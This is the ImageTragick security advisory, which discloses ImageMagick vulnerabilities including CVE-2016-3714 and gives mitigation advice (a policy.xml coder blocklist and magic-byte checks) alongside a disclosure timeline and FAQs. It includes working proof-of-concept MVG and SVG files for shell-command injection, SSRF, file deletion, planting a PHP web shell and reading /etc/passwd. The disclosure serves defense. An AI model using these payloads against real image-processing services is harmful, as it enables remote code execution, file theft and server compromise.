# ImageTragick

*Make ImageMagick Great Again*

*Updated 5/12*
lcamtuf With Advice On Better Mitigations
*Updated 5/5*
Updated Policy Recommendation
*Updated 5/4*
What's with the stupid (logo|website|twitter account)?
Detailed Vulnerability Information
PoC (https://github.com/ImageTragick/PoCs)
*Updated 5/3*
FAQs

# ImageMagick Is On Fire—CVE-2016–3714

## TL;DR

There are multiple vulnerabilities in ImageMagick (https://www.imagemagick.org/), a package commonly used by web services to process images. One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The exploit for this vulnerability is being used in the wild.

A number of image processing plugins depend on the ImageMagick library, including, but not limited to, PHP's imagick, Ruby's rmagick and paperclip, and nodejs's imagemagick.

If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one of these two things (but preferably both!):

1. Verify that all image files begin with the expected "magic bytes" (https://en.wikipedia.org/wiki/List_of_file_signatures) corresponding to the image file types you support before sending them to ImageMagick for processing. (see FAQ for more info)
2. Use a policy file (https://www.imagemagick.org/script/resources.php) to disable the vulnerable ImageMagick coders. The global policy for ImageMagick is usually found in "/etc/ImageMagick". The below policy.xml example will disable the coders EPHEMERAL, URL, MVG, and MSL.

**policy.xml (updated 5/5)**

```
<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>
```

# @lcamtuf With Advice On Better Mitigations

@lcamtuf (https://twitter.com/lcamtuf) has a post (https://lcamtuf.blogspot.com/2016/05/clearing-up-some-misconceptions-around.html) that talks about mitigations you should consider beyond the basic blacklisting recommended in the initial disclosure. You should read it.

*Note: Contrary to what is stated in the post, we have recommended sandboxing in our FAQ from the beginning.*

# *What's with the stupid (logo|website|twitter account)?*

*It would have been fantastic to eschew this ridiculousness, because we all make fun of branded vulnerabilities too, but this was not the right time to make that stand.*

*Initially, we disclosed this vulnerability via a blog post on Medium. We even joked in the post that the vulnerability didn't have a cool name or logo. The blog was read hundreds of times, but as the hours passed, we became worried that not enough people were aware of the vulnerability. Every script kiddie would have it in their hands soon, but a majority of people had no idea this vulnerability existed.*

*So we created a website, a twitter account, and used a logo that someone created as a joke the day before.*

*What happened?*

*We had thousands of hits in the first 15 minutes. We were at the top of hacker news, which a lot of people see. We were getting the word out on something tragickally simple to exploit. We'd do it again.*

# *Detailed Vulnerability Information*

*Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version (6.9.3-9 released 2016-04-30 changelog*

*(http://legacy.imagemagick.org/script/changelog.php)), but this fix seems to be incomplete. We are still working with developers.*

## ImageMagick: Multiple vulnerabilities in image decoder

### 1. CVE-2016-3714 - Insufficient shell characters filtering leads to(potentially remote) code execution

*Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats.*

*ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests:*

```
"wget" -q -O "%o" "https:%M"
```

*where `%M` is the actual link from the input. It is possible to pass the value like*

```
`https://example.com";|ls "-la`
```

*and execute unexpected `'ls -la'`. (wget or curl should be installed)*

```
$ convert 'https://example.com";|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
```

*The most dangerous part is ImageMagick supports several formats like svg, mvg (thanks to Stewie (https://hackerone.com/stewie) for his research of this file format and idea of the local file read vulnerability in ImageMagick, see below), maybe some others - which allow to include external files from any supported protocol including delegates. As a result, any service, which uses ImageMagick to process user supplied images and uses default `delegates.xml / policy.xml`, may be vulnerable to this issue.*

#### exploit.mvg

```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
```

#### exploit.svg

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
```

***Example execution***

```
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
```

*ImageMagick tries to guess the type of the file by it's content, so exploitation doesn't depend on the file extension. You can rename `exploit.mvg` to `exploit.jpg` or `exploit.png` to bypass file type checks. In addition, ImageMagick's tool `identify` is also vulnerable, so it can't be used as a protection to filter file by it's content and creates additional attack vectors (e.g. via `less exploit.jpg`', because `identify` is invoked via `lesspipe.sh` ).*

*Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16 x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest sources from 6 and 7 branches all are vulnerable. Ghostscript and wget (or curl) should be installed on the system for successful PoC execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.*

***All other issues also rely on dangerous ImageMagick feature of external files inclusion from any supported protocol in formats like svg and mvg.***

### *2. CVE-2016-3718 - SSRF*

*It is possible to make HTTP GET or FTP request:*

***ssrf.mvg***

```
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
```

***the following then makes an http request to example.com***

```
$ convert ssrf.mvg out.png
```

### *3. CVE-2016-3715 - File deletion*

*It is possible to delete files by using ImageMagick's 'ephemeral' pseudo protocol which deletes files after reading:*

***delete_file.mvg***

```
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
```

```
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt
```

### *4. CVE-2016-3716 - File moving*

*It is possible to move image files to file with any extension in any folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and image.gif should exist in known location - `/tmp/` for PoC (in real life it may be web service written in PHP, which allows to upload raw txt files and process images with ImageMagick):*

***file_move.mvg***

```
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
```

***/tmp/msl.txt***

```
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
```

`/tmp/image.gif` *- image with php shell inside (https://www.secgeek.net/POC/POC.gif (https://www.secgeek.net/POC/POC.gif) for example)*

```
$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/she
ll.php
```

### *5. CVE-2016-3717 - Local file read (independently reported by original research author - Stewie (https://hackerone.com/stewie))*

*It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol:*

***file_read.mvg***

```
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
```

```
$ convert file_read.mvg out.png
```

*produces file with text rendered from /etc/passwd*

### *Vulnerability Disclosure Timeline:*

- *April, 21 2016 - file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team.*
- *April, 21 2016 - file read vulnerability patched by My.Com development team*
- *April, 28 2016 - code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report*
- *April, 30 2016 - code execution vulnerability reported to ImageMagick development team*
- *April, 30 2016 - code execution vulnerability fixed by ImageMagick (incomplete fix)*
- *April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)*
- *May, 1 2016 - ImageMagic informed of the fix bypass*
- *May, 2 2016 - limited disclosure to 'distros' mailing list*
- *May, 3 2016 - public disclosure at https://imagetragick.com/*

# *FAQs*

### *Who found this bug?*

*Stewie (https://hackerone.com/stewie) found the initial bug, and Nikolay Ermishkin (https://twitter.com/__sl1m) from the Mail.Ru Security Team found additional issues, including the RCE.*

### *Will you share the exploit with me?*

*No. We would like to give people a chance to patch before it is more widely available. The exploit is trivial, so we expect it to be available within hours of this post. Updates and PoC will eventually be available here.*

### *What are "magic bytes"?*

*The first few bytes of a file can often used to identify the type of file. Some examples are GIF images, which start with the hex bytes **"47 49 46 38"**, and JPEG images, which start with **"FF D8"**. This list (https://en.wikipedia.org/wiki/List_of_file_signatures) on Wikipedia has the magic bytes for most common file types.*

### *Why are you disclosing a vulnerability like this?*

*We have collectively determined that these vulnerabilities are available to individuals other than the person(s) who discovered them. An unknowable number of people having access to these vulnerabilities makes this a critical issue for everyone using this software. ImageMagick also disclosed this on their forum a few hours ago (https://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=29588).*

### *How well-tested are these mitigations?*

*They are effective against all of the exploit samples we've seen, but we cannot guarantee they will eliminate all vectors of attack.*

### *Are there other ways to mitigate?*

*Sandboxing ImageMagick is worth investigating, but we are not providing specific instructions for doing this.*

### *Why is this post so short?*

*We did not find this vulnerability ourselves. We understand the mechanisms involved, but credit for finding this vulnerability should go to the researcher(s).*

### *How can I contact you?*

*imagetragick@gmail.com*

### *Who is "we"?*

*Us.*


Follow @ImageTragick